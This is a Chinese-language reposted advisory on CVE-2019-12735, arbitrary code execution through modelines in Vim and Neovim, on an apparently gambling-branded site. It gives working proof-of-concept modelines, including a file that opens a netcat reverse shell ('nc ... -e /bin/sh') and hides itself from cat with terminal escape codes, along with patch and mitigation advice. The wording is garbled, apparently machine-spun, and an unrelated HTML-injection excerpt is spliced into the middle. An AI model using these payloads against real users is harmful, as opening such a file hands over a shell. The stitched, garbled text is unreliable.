CVE-2019-12735:Linux Vim/Neovim编辑器恣意代码实行破绽 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

CVE-2019-12735:Linux Vim/Neovim编辑器恣意代码实行破绽

申博_新闻事件 申博 170次浏览 已收录 0个评论

研究人员发明Vim 8.1.1365之前版本和Neovim 0.3.6都存在恣意代码实行破绽。研究人员剖析发明经由过程翻开捏造的文本文件经由过程modelines功能来实行恣意代码。

PoC

建立PoC的步调:

1、建立poc.txt:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

2、确保modeline选项没有被禁用(:set modeline)

3、在vim中翻开文件

$ vim poc.txt

4、体系就会自行uname -a.

PoC2 (reverse shell)

本PoC给出了当用户翻开文件时启动逆向shell的实在进击要领。为了隐蔽进击运动,该文件翻开后须要立时从新。当文件内容用cat显现时,PoC运用了terminal escape序列来隐蔽modeline。

注:cat -v会显现文件实在内容。

shell.txt:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

Demo (左边为受害者,右边为进击者):

CVE-2019-12735:Linux Vim/Neovim编辑器恣意代码实行破绽

概况

Modeline特性许可在文件的最先或完毕地位指定自定义选项。该特性默许是启动的,并应用于一切的文件范例,包罗plain.txt。典范的modeline以下:

渗透技术再升级:如何利用HTML注入泄漏用户数据

概述 本文主要详细分析了我如何重新发现一种漏洞利用技术,成功绕过现有的缓解措施,对目标产生了相当有限的影响,并获得了5位数的奖金。 启发:一个奇怪的HTML注入案例 André Baptista和Cache-Money正在研究一个非常奇怪的漏洞。这一漏洞最初是一个简单的字符集绕过,通过一系列疯狂的漏洞利用步骤后,演变成目标其他位置的HTML注入(不是完整的XSS)。这是一个非常酷的漏洞利用链,可以说这两位研究者已经取得了一定成绩,但要进行下一步利用,还存在一些问题。 在得知他们所取得的进展之后,我开始思考是否可以提供一些帮助,以提升这一漏洞的利用方式。目前,我们能确定的最严

/* vim: set textwidth=80 tabstop=8: */

出于平安斟酌,只要一小部分选项许可储备在modeline中,若是选项值中含有表达式,就会在沙箱中实行。

沙箱的意义是防备反作用:

‘foldexpr’, ‘formatexpr’, ‘includeexpr’, ‘indentexpr’, ‘statusline’和’foldtext’选项都可能会在沙箱中举行评价。这能够给从modeline下设置的选项确保平安性。

但:source!敕令能够用来绕过沙箱。该敕令会从给定的文件中读取和实行敕令,就像输入的一样。

:so[urce]! {file}       Read Vim commands from {file}. 这是一般形式下实行的敕令,就好像输入的一样。如许,用户就能够构建一个运转在沙箱之外的modeline:

# vim: set foldexpr=execute('\:source! some_file'):

对Neovim来讲,还须要一个步调来将execute()到场黑名单:

execute({command} [, {silent}])                         *execute()*
                Execute {command} and capture its output.
                [...]
                该函数并不在沙箱|sandbox|中

也能够运用assert_fails() ,应用{cmd}参数:

assert_fails({cmd} [, {error} [, {msg}]])               *assert_fails()*
                Run {cmd} and add an error message to |v:errors| if it does
                NOT produce an error.

下面的modeline运用fold表达式来运转source! %来实行以后文件,反过来作为shell敕令实行uname -a || “(garbage)”:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

别的,Neovim中的函数nvim_input()也能够用一样的要领举行进击,好比:

vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0

modeline相干的破绽另有CVE-2002-1377, CVE-2016-1248,现在都已修复。

补钉

Vim patch 8.1.1365

Neovim patch (released in v0.3.6)

除补钉之外,研究人员发起在vimrc 中禁用modelines(要领为:set nomodeline)或禁用modelineexpr来制止modeline中的表达式。

翻开vim输入:set modeline?搜检modelines是不是启用。若是vim返回nomodeline,就申明不存在破绽。若是有破绽,或想要确保该题目的平安性,能够在vimrc中到场以下代码:

set modelines=0
set nomodeline

原文地点: https://www.4hou.com/vulnerable/18598.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明CVE-2019-12735:Linux Vim/Neovim编辑器恣意代码实行破绽
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址